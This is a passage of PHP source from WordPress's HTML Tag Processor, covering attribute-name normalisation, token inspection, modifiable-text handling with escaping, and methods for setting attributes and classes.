				case 'requiredfeatures':
					return 'requiredFeatures';

				case 'specularconstant':
					return 'specularConstant';

				case 'specularexponent':
					return 'specularExponent';

				case 'spreadmethod':
					return 'spreadMethod';

				case 'startoffset':
					return 'startOffset';

				case 'stddeviation':
					return 'stdDeviation';

				case 'stitchtiles':
					return 'stitchTiles';

				case 'surfacescale':
					return 'surfaceScale';

				case 'systemlanguage':
					return 'systemLanguage';

				case 'tablevalues':
					return 'tableValues';

				case 'targetx':
					return 'targetX';

				case 'targety':
					return 'targetY';

				case 'textlength':
					return 'textLength';

				case 'viewbox':
					return 'viewBox';

				case 'viewtarget':
					return 'viewTarget';

				case 'xchannelselector':
					return 'xChannelSelector';

				case 'ychannelselector':
					return 'yChannelSelector';

				case 'zoomandpan':
					return 'zoomAndPan';
			}
		}

		if ( 'html' !== $namespace ) {
			switch ( $lower_name ) {
				case 'xlink:actuate':
					return 'xlink actuate';

				case 'xlink:arcrole':
					return 'xlink arcrole';

				case 'xlink:href':
					return 'xlink href';

				case 'xlink:role':
					return 'xlink role';

				case 'xlink:show':
					return 'xlink show';

				case 'xlink:title':
					return 'xlink title';

				case 'xlink:type':
					return 'xlink type';

				case 'xml:lang':
					return 'xml lang';

				case 'xml:space':
					return 'xml space';

				case 'xmlns':
					return 'xmlns';

				case 'xmlns:xlink':
					return 'xmlns xlink';
			}
		}

		return $attribute_name;
	}

	/**
	 * Indicates if the currently matched tag contains the self-closing flag.
	 *
	 * No HTML elements ought to have the self-closing flag and for those, the self-closing
	 * flag will be ignored. For void elements this is benign because they "self close"
	 * automatically. For non-void HTML elements though problems will appear if someone
	 * intends to use a self-closing element in place of that element with an empty body.
	 * For HTML foreign elements and custom elements the self-closing flag determines if
	 * they self-close or not.
	 *
	 * This function does not determine if a tag is self-closing,
	 * but only if the self-closing flag is present in the syntax.
	 *
	 * @since 6.3.0
	 *
	 * @return bool Whether the currently matched tag contains the self-closing flag.
	 */
	public function has_self_closing_flag(): bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		/*
		 * The self-closing flag is the solidus at the _end_ of the tag, not the beginning.
		 *
		 * Example:
		 *
		 *     <figure />
		 *             ^ this appears one character before the end of the closing ">".
		 */
		return '/' === $this->html[ $this->token_starts_at + $this->token_length - 2 ];
	}

	/**
	 * Indicates if the current tag token is a tag closer.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div></div>' );
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === false;
	 *
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === true;
	 *
	 * @since 6.2.0
	 * @since 6.7.0 Reports all BR tags as opening tags.
	 *
	 * @return bool Whether the current tag is a tag closer.
	 */
	public function is_tag_closer(): bool {
		return (
			self::STATE_MATCHED_TAG === $this->parser_state &&
			$this->is_closing_tag &&

			/*
			 * The BR tag can only exist as an opening tag. If something like `</br>`
			 * appears then the HTML parser will treat it as an opening tag with no
			 * attributes. The BR tag is unique in this way.
			 *
			 * @see https://html.spec.whatwg.org/#parsing-main-inbody
			 */
			'BR' !== $this->get_tag()
		);
	}

	/**
	 * Indicates the kind of matched token, if any.
	 *
	 * This differs from `get_token_name()` in that it always
	 * returns a static string indicating the type, whereas
	 * `get_token_name()` may return values derived from the
	 * token itself, such as a tag name or processing
	 * instruction tag.
	 *
	 * Possible values:
	 *  - `#tag` when matched on a tag.
	 *  - `#text` when matched on a text node.
	 *  - `#cdata-section` when matched on a CDATA node.
	 *  - `#comment` when matched on a comment.
	 *  - `#doctype` when matched on a DOCTYPE declaration.
	 *  - `#presumptuous-tag` when matched on an empty tag closer.
	 *  - `#funky-comment` when matched on a funky comment.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null What kind of token is matched, or null.
	 */
	public function get_token_type(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return '#tag';

			case self::STATE_DOCTYPE:
				return '#doctype';

			default:
				return $this->get_token_name();
		}
	}

	/**
	 * Returns the node name represented by the token.
	 *
	 * This matches the DOM API value `nodeName`. Some values
	 * are static, such as `#text` for a text node, while others
	 * are dynamically generated from the token itself.
	 *
	 * Dynamic names:
	 *  - Uppercase tag name for tag matches.
	 *  - `html` for DOCTYPE declarations.
	 *
	 * Note that if the Tag Processor is not matched on a token
	 * then this function will return `null`, either because it
	 * hasn't yet found a token or because it reached the end
	 * of the document without matching a token.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null Name of the matched token.
	 */
	public function get_token_name(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return $this->get_tag();

			case self::STATE_TEXT_NODE:
				return '#text';

			case self::STATE_CDATA_NODE:
				return '#cdata-section';

			case self::STATE_COMMENT:
				return '#comment';

			case self::STATE_DOCTYPE:
				return 'html';

			case self::STATE_PRESUMPTUOUS_TAG:
				return '#presumptuous-tag';

			case self::STATE_FUNKY_COMMENT:
				return '#funky-comment';
		}

		return null;
	}

	/**
	 * Indicates what kind of comment produced the comment node.
	 *
	 * Because there are different kinds of HTML syntax which produce
	 * comments, the Tag Processor tracks and exposes this as a type
	 * for the comment. Nominally only regular HTML comments exist as
	 * they are commonly known, but a number of unrelated syntax errors
	 * also produce comments.
	 *
	 * @see self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT
	 * @see self::COMMENT_AS_CDATA_LOOKALIKE
	 * @see self::COMMENT_AS_INVALID_HTML
	 * @see self::COMMENT_AS_HTML_COMMENT
	 * @see self::COMMENT_AS_PI_NODE_LOOKALIKE
	 *
	 * @since 6.5.0
	 *
	 * @return string|null
	 */
	public function get_comment_type(): ?string {
		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		return $this->comment_type;
	}

	/**
	 * Returns the text of a matched comment or null if not on a comment type node.
	 *
	 * This method returns the entire text content of a comment node as it
	 * would appear in the browser.
	 *
	 * This differs from {@see ::get_modifiable_text()} in that certain comment
	 * types in the HTML API cannot allow their entire comment text content to
	 * be modified. Namely, "bogus comments" of the form `<?not allowed in html>`
	 * will create a comment whose text content starts with `?`. Note that if
	 * that character were modified, it would be possible to change the node
	 * type.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null The comment text as it would appear in the browser or null
	 *                     if not on a comment type node.
	 */
	public function get_full_comment_text(): ?string {
		if ( self::STATE_FUNKY_COMMENT === $this->parser_state ) {
			return $this->get_modifiable_text();
		}

		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		switch ( $this->get_comment_type() ) {
			case self::COMMENT_AS_HTML_COMMENT:
			case self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT:
				return $this->get_modifiable_text();

			case self::COMMENT_AS_CDATA_LOOKALIKE:
				return "[CDATA[{$this->get_modifiable_text()}]]";

			case self::COMMENT_AS_PI_NODE_LOOKALIKE:
				return "?{$this->get_tag()}{$this->get_modifiable_text()}?";

			/*
			 * This represents "bogus comments state" from HTML tokenization.
			 * This can be entered by `<?` or `<!`, where `?` is included in
			 * the comment text but `!` is not.
			 */
			case self::COMMENT_AS_INVALID_HTML:
				$preceding_character = $this->html[ $this->text_starts_at - 1 ];
				$comment_start       = '?' === $preceding_character ? '?' : '';
				return "{$comment_start}{$this->get_modifiable_text()}";
		}

		return null;
	}

	/**
	 * Subdivides a matched text node, splitting NULL byte sequences and decoded whitespace as
	 * distinct nodes prefixes.
	 *
	 * Note that once anything that's neither a NULL byte nor decoded whitespace is
	 * encountered, then the remainder of the text node is left intact as generic text.
	 *
	 *  - The HTML Processor uses this to apply distinct rules for different kinds of text.
	 *  - Inter-element whitespace can be detected and skipped with this method.
	 *
	 * Text nodes aren't eagerly subdivided because there's no need to split them unless
	 * decisions are being made on NULL byte sequences or whitespace-only text.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "\x00Apples & Oranges" );
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "".
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "&#x13; \r\n\tMore" );
	 *     true  === $processor->next_token();                   // Text is "␤ ␤␉More".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "␤ ␤␉".
	 *     true  === $processor->next_token();                   // Text is "More".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 * @since 6.7.0
	 *
	 * @return bool Whether the text node was subdivided.
	 */
	public function subdivide_text_appropriately(): bool {
		if ( self::STATE_TEXT_NODE !== $this->parser_state ) {
			return false;
		}

		$this->text_node_classification = self::TEXT_IS_GENERIC;

		/*
		 * NULL bytes are treated categorically different than numeric character
		 * references whose number is zero. `&#x00;` is not the same as `"\x00"`.
		 */
		$leading_nulls = strspn( $this->html, "\x00", $this->text_starts_at, $this->text_length );
		if ( $leading_nulls > 0 ) {
			$this->token_length             = $leading_nulls;
			$this->text_length              = $leading_nulls;
			$this->bytes_already_parsed     = $this->token_starts_at + $leading_nulls;
			$this->text_node_classification = self::TEXT_IS_NULL_SEQUENCE;
			return true;
		}

		/*
		 * Start a decoding loop to determine the point at which the
		 * text subdivides. This entails raw whitespace bytes and any
		 * character reference that decodes to the same.
		 */
		$at  = $this->text_starts_at;
		$end = $this->text_starts_at + $this->text_length;
		while ( $at < $end ) {
			$skipped = strspn( $this->html, " \t\f\r\n", $at, $end - $at );
			$at     += $skipped;

			if ( $at < $end && '&' === $this->html[ $at ] ) {
				$matched_byte_length = null;
				$replacement         = WP_HTML_Decoder::read_character_reference( 'data', $this->html, $at, $matched_byte_length );
				if ( isset( $replacement ) && 1 === strspn( $replacement, " \t\f\r\n" ) ) {
					$at += $matched_byte_length;
					continue;
				}
			}

			break;
		}

		if ( $at > $this->text_starts_at ) {
			$new_length                     = $at - $this->text_starts_at;
			$this->text_length              = $new_length;
			$this->token_length             = $new_length;
			$this->bytes_already_parsed     = $at;
			$this->text_node_classification = self::TEXT_IS_WHITESPACE;
			return true;
		}

		return false;
	}

	/**
	 * Returns the modifiable text for a matched token, or an empty string.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * If a token has no modifiable text then an empty string is returned to
	 * avoid needless crashing or type errors. An empty string does not mean
	 * that a token has modifiable text, and a token with modifiable text may
	 * have an empty string (e.g. a comment with no contents).
	 *
	 * Limitations:
	 *
	 *  - This function will not strip the leading newline appropriately
	 *    after seeking into a LISTING or PRE element. To ensure that the
	 *    newline is treated properly, seek to the LISTING or PRE opening
	 *    tag instead of to the first text node inside the element.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Replaces NULL bytes (U+0000) and newlines appropriately.
	 *
	 * @return string
	 */
	public function get_modifiable_text(): string {
		$has_enqueued_update = isset( $this->lexical_updates['modifiable text'] );

		if ( ! $has_enqueued_update && ( null === $this->text_starts_at || 0 === $this->text_length ) ) {
			return '';
		}

		$text = $has_enqueued_update
			? $this->lexical_updates['modifiable text']->text
			: substr( $this->html, $this->text_starts_at, $this->text_length );

		/*
		 * Pre-processing the input stream would normally happen before
		 * any parsing is done, but deferring it means it's possible to
		 * skip in most cases. When getting the modifiable text, however
		 * it's important to apply the pre-processing steps, which is
		 * normalizing newlines.
		 *
		 * @see https://html.spec.whatwg.org/#preprocessing-the-input-stream
		 * @see https://infra.spec.whatwg.org/#normalize-newlines
		 */
		$text = str_replace( "\r\n", "\n", $text );
		$text = str_replace( "\r", "\n", $text );

		// Comment data is not decoded.
		if (
			self::STATE_CDATA_NODE === $this->parser_state ||
			self::STATE_COMMENT === $this->parser_state ||
			self::STATE_DOCTYPE === $this->parser_state ||
			self::STATE_FUNKY_COMMENT === $this->parser_state
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$tag_name = $this->get_token_name();
		if (
			// Script data is not decoded.
			'SCRIPT' === $tag_name ||

			// RAWTEXT data is not decoded.
			'IFRAME' === $tag_name ||
			'NOEMBED' === $tag_name ||
			'NOFRAMES' === $tag_name ||
			'STYLE' === $tag_name ||
			'XMP' === $tag_name
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$decoded = WP_HTML_Decoder::decode_text_node( $text );

		/*
		 * Skip the first line feed after LISTING, PRE, and TEXTAREA opening tags.
		 *
		 * Note that this first newline may come in the form of a character
		 * reference, such as `&#x0a;`, and so it's important to perform
		 * this transformation only after decoding the raw text content.
		 */
		if (
			( "\n" === ( $decoded[0] ?? '' ) ) &&
			( ( $this->skip_newline_at === $this->token_starts_at && '#text' === $tag_name ) || 'TEXTAREA' === $tag_name )
		) {
			$decoded = substr( $decoded, 1 );
		}

		/*
		 * Only in normative text nodes does the NULL byte (U+0000) get removed.
		 * In all other contexts it's replaced by the replacement character (U+FFFD)
		 * for security reasons (to avoid joining together strings that were safe
		 * when separated, but not when joined).
		 *
		 * @todo Inside HTML integration points and MathML integration points, the
		 *       text is processed according to the insertion mode, not according
		 *       to the foreign content rules. This should strip the NULL bytes.
		 */
		return ( '#text' === $tag_name && 'html' === $this->get_namespace() )
			? str_replace( "\x00", '', $decoded )
			: str_replace( "\x00", "\u{FFFD}", $decoded );
	}

	/**
	 * Sets the modifiable text for the matched token, if matched.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * Not all modifiable text may be set by this method, and not all content
	 * may be set as modifiable text. In the case that this fails it will return
	 * `false` indicating as much. For instance, it will not allow inserting the
	 * string `</script` into a SCRIPT element, because the rules for escaping
	 * that safely are complicated. Similarly, it will not allow setting content
	 * into a comment which would prematurely terminate the comment.
	 *
	 * Example:
	 *
	 *     // Add a preface to all STYLE contents.
	 *     while ( $processor->next_tag( 'STYLE' ) ) {
	 *         $style = $processor->get_modifiable_text();
	 *         $processor->set_modifiable_text( "// Made with love on the World Wide Web\n{$style}" );
	 *     }
	 *
	 *     // Replace smiley text with Emoji smilies.
	 *     while ( $processor->next_token() ) {
	 *         if ( '#text' !== $processor->get_token_name() ) {
	 *             continue;
	 *         }
	 *
	 *         $chunk = $processor->get_modifiable_text();
	 *         if ( ! str_contains( $chunk, ':)' ) ) {
	 *             continue;
	 *         }
	 *
	 *         $processor->set_modifiable_text( str_replace( ':)', '🙂', $chunk ) );
	 *     }
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders as “Eggs & Milk” in a browser, encoded as `<p>Eggs &amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs & Milk' );
	 *
	 *     // Renders as “Eggs &amp; Milk” in a browser, encoded as `<p>Eggs &amp;amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs &amp; Milk' );
	 *
	 * @since 6.7.0
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string $plaintext_content New text content to represent in the matched token.
	 * @return bool Whether the text was able to update.
	 */
	public function set_modifiable_text( string $plaintext_content ): bool {
		if ( self::STATE_TEXT_NODE === $this->parser_state ) {
			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				strtr(
					$plaintext_content,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				)
			);

			return true;
		}

		// Comment data is not encoded.
		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_HTML_COMMENT === $this->comment_type
		) {
			// Check if the text could close the comment.
			if ( 1 === preg_match( '/--!?>/', $plaintext_content ) ) {
				return false;
			}

			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				$plaintext_content
			);

			return true;
		}

		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		switch ( $this->get_tag() ) {
			case 'SCRIPT':
				/**
				 * This is over-protective, but ensures the update doesn't break
				 * the HTML structure of the SCRIPT element.
				 *
				 * More thorough analysis could track the HTML tokenizer states
				 * and to ensure that the SCRIPT element closes at the expected
				 * SCRIPT close tag as is done in {@see ::skip_script_data()}.
				 *
				 * A SCRIPT element could be closed prematurely by contents
				 * like `</script>`. A SCRIPT element could be prevented from
				 * closing by contents like `<!--<script>`.
				 *
				 * The following strings are essential for dangerous content,
				 * although they are insufficient on their own. This trade-off
				 * prevents dangerous scripts from being sent to the browser.
				 * It is also unlikely to produce HTML that may confuse more
				 * basic HTML tooling.
				 */
				if (
					false !== stripos( $plaintext_content, '</script' ) ||
					false !== stripos( $plaintext_content, '<script' )
				) {
					return false;
				}

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'STYLE':
				$plaintext_content = preg_replace_callback(
					'~</(?P<TAG_NAME>style)~i',
					static function ( $tag_match ) {
						return "\\3c\\2f{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'TEXTAREA':
			case 'TITLE':
				$plaintext_content = preg_replace_callback(
					"~</(?P<TAG_NAME>{$this->get_tag()})~i",
					static function ( $tag_match ) {
						return "&lt;/{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				/*
				 * These don't _need_ to be escaped, but since they are decoded it's
				 * safe to leave them escaped and this can prevent other code from
				 * naively detecting tags within the contents.
				 *
				 * @todo It would be useful to prefix a multiline replacement text
				 *       with a newline, but not necessary. This is for aesthetics.
				 */
				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;
		}

		return false;
	}

	/**
	 * Updates or creates a new attribute on the currently matched tag with the passed value.
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders “Eggs & Milk” in a browser, encoded as `<abbr title="Eggs &amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs & Milk' );
	 *
	 *     // Renders “Eggs &amp; Milk” in a browser, encoded as `<abbr title="Eggs &amp;amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs &amp; Milk' );
	 *
	 *     // Renders `true` as `<abbr title>`.
	 *     $processor->set_attribute( 'title', true );
	 *
	 *     // Renders without the attribute for `false` as `<abbr>`.
	 *     $processor->set_attribute( 'title', false );
	 *
	 * Special handling is provided for boolean attribute values:
	 *  - When `true` is passed as the value, then only the attribute name is added to the tag.
	 *  - When `false` is passed, the attribute gets removed if it existed before.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Fix: Only create a single update for multiple calls with case-variant attribute names.
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string      $name  The attribute name to target.
	 * @param string|bool $value The new attribute value.
	 * @return bool Whether an attribute value was set.
	 */
	public function set_attribute( $name, $value ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		$name_length = strlen( $name );

		/**
		 * WordPress rejects more characters than are strictly forbidden
		 * in HTML5. This is to prevent additional security risks deeper
		 * in the WordPress and plugin stack. Specifically the following
		 * are not allowed to be set as part of an HTML attribute name:
		 *
		 *  - greater-than “>”
		 *  - ampersand “&”
		 *
		 * @see https://html.spec.whatwg.org/#attributes-2
		 */
		if (
			0 === $name_length ||
			// Syntax-like characters.
			strcspn( $name, '"\'>&</ =' ) !== $name_length ||
			// Control characters.
			strcspn(
				$name,
				"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" .
				"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F"
			) !== $name_length ||
			// Unicode noncharacters.
			wp_has_noncharacters( $name )
		) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Invalid attribute name.' ),
				'6.2.0'
			);

			return false;
		}

		/*
		 * > The values "true" and "false" are not allowed on boolean attributes.
		 * > To represent a false value, the attribute has to be omitted altogether.
		 *     - HTML5 spec, https://html.spec.whatwg.org/#boolean-attributes
		 */
		if ( false === $value ) {
			return $this->remove_attribute( $name );
		}

		if ( true === $value ) {
			$updated_attribute = $name;
		} else {
			$comparable_name = strtolower( $name );

			/**
			 * Escape attribute values appropriately.
			 *
			 * @see https://html.spec.whatwg.org/#attributes-3
			 */
			$escaped_new_value = in_array( $comparable_name, wp_kses_uri_attributes(), true )
				? esc_url( $value )
				: strtr(
					$value,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				);

			// If the escaping functions wiped out the update, reject it and indicate it was rejected.
			if ( '' === $escaped_new_value && '' !== $value ) {
				return false;
			}

			$updated_attribute = "{$name}=\"{$escaped_new_value}\"";
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $name );

		if ( isset( $this->attributes[ $comparable_name ] ) ) {
			/*
			 * Update an existing attribute.
			 *
			 * Example – set attribute id to "new" in <div id="initial_id" />:
			 *
			 *     <div id="initial_id"/>
			 *          ^-------------^
			 *          start         end
			 *     replacement: `id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$existing_attribute                        = $this->attributes[ $comparable_name ];
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$existing_attribute->start,
				$existing_attribute->length,
				$updated_attribute
			);
		} else {
			/*
			 * Create a new attribute at the tag's name end.
			 *
			 * Example – add attribute id="new" to <div />:
			 *
			 *     <div/>
			 *         ^
			 *         start and end
			 *     replacement: ` id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$this->tag_name_starts_at + $this->tag_name_length,
				0,
				' ' . $updated_attribute
			);
		}

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $comparable_name && ! empty( $this->classname_updates ) ) {
			$this->classname_updates = array();
		}

		return true;
	}

	/**
	 * Remove an attribute from the currently-matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name The attribute name to remove.
	 * @return bool Whether an attribute was removed.
	 */
	public function remove_attribute( $name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$name = strtolower( $name );

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $name && count( $this->classname_updates ) !== 0 ) {
			$this->classname_updates = array();
		}

		/*
		 * If updating an attribute that didn't exist in the input
		 * document, then remove the enqueued update and move on.
		 *
		 * For example, this might occur when calling `remove_attribute()`
		 * after calling `set_attribute()` for the same attribute
		 * and when that attribute wasn't originally present.
		 */
		if ( ! isset( $this->attributes[ $name ] ) ) {
			if ( isset( $this->lexical_updates[ $name ] ) ) {
				unset( $this->lexical_updates[ $name ] );
			}
			return false;
		}

		/*
		 * Removes an existing tag attribute.
		 *
		 * Example – remove the attribute id from <div id="main"/>:
		 *    <div id="initial_id"/>
		 *         ^-------------^
		 *         start         end
		 *    replacement: ``
		 *
		 *    Result: <div />
		 */
		$this->lexical_updates[ $name ] = new WP_HTML_Text_Replacement(
			$this->attributes[ $name ]->start,
			$this->attributes[ $name ]->length,
			''
		);

		// Removes any duplicated attributes if they were also present.
		foreach ( $this->duplicate_attributes[ $name ] ?? array() as $attribute_token ) {
			$this->lexical_updates[] = new WP_HTML_Text_Replacement(
				$attribute_token->start,
				$attribute_token->length,
				''
			);
		}

		return true;
	}

	/**
	 * Adds a new class name to the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to add.
	 * @return bool Whether the class was set to be added.
	 */
	public function add_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::ADD_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::ADD_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::ADD_CLASS;
		return true;
	}

	/**
	 * Removes a class name from the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to remove.
	 * @return bool Whether the class was set to be removed.
	 */
	public function remove_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::REMOVE_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
		return true;
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::get_updated_html()
	 *
	 * @return string The processed HTML.
	 */
	public function __toString(): string {
		return $this->get_updated_html();
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Shifts the internal cursor corresponding to the applied updates.
	 * @since 6.4.0 No longer calls subclass method `next_tag()` after updating HTML.
	 *
	 * @return string The processed HTML.
	 */
	public function get_updated_html(): string {
		$requires_no_updating = 0 === count( $this->classname_updates ) && 0 === count( $this->lexical_updates );

		/*
		 * When there is nothing more to update and nothing has already been
		 * updated, return the original document and avoid a string copy.
		 */
		if ( $requires_no_updating ) {
			return $this->html;
		}

		/*
		 * Keep track of the position right before the current tag. This will
		 * be necessary for reparsing the current tag after updating the HTML.
		 */
		$before_current_tag = $this->token_starts_at ?? 0;

		/*
		 * 1. Apply the enqueued edits and update all the pointers to reflect those changes.
		 */
		$this->class_name_updates_to_attributes_updates();
		$before_current_tag += $this->apply_attributes_updates( $before_current_tag );

		/*
		 * 2. Rewind to before the current tag and reparse to get updated attributes.
		 *
		 * At this point the internal cursor points to the end of the tag name.
		 * Rewind before the tag name starts so that it's as if the cursor didn't
		 * move; a call to `next_tag()` will reparse the recently-updated attributes
		 * and additional calls to modify the attributes will apply at this same
		 * location, but in order to avoid issues with subclasses that might add
		 * behaviors to `next_tag()`, the internal methods should be called here
		 * instead.
		 *
		 * It's important to note that in this specific place there will be no change
		 * because the processor was already at a tag when this was called and it's
		 * rewinding only to the beginning of this very tag before reprocessing it
		 * and its attributes.
		 *
		 * <p>Previous HTML<em>More HTML</em></p>
		 *                 ↑  │ back up by the length of the tag name plus the opening <
		 *                 └←─┘ back up by strlen("em") + 1 ==> 3
		 */
		$this->bytes_already_parsed = $before_current_tag;
		$this->base_class_next_token();

		return $this->html;
	}

	/**
	 * Parses tag query input into internal search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this class name to match.
	 *     @type string      $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 */
	private function parse_query( $query ) {
		if ( null !== $query && $query === $this->last_query ) {
			return;
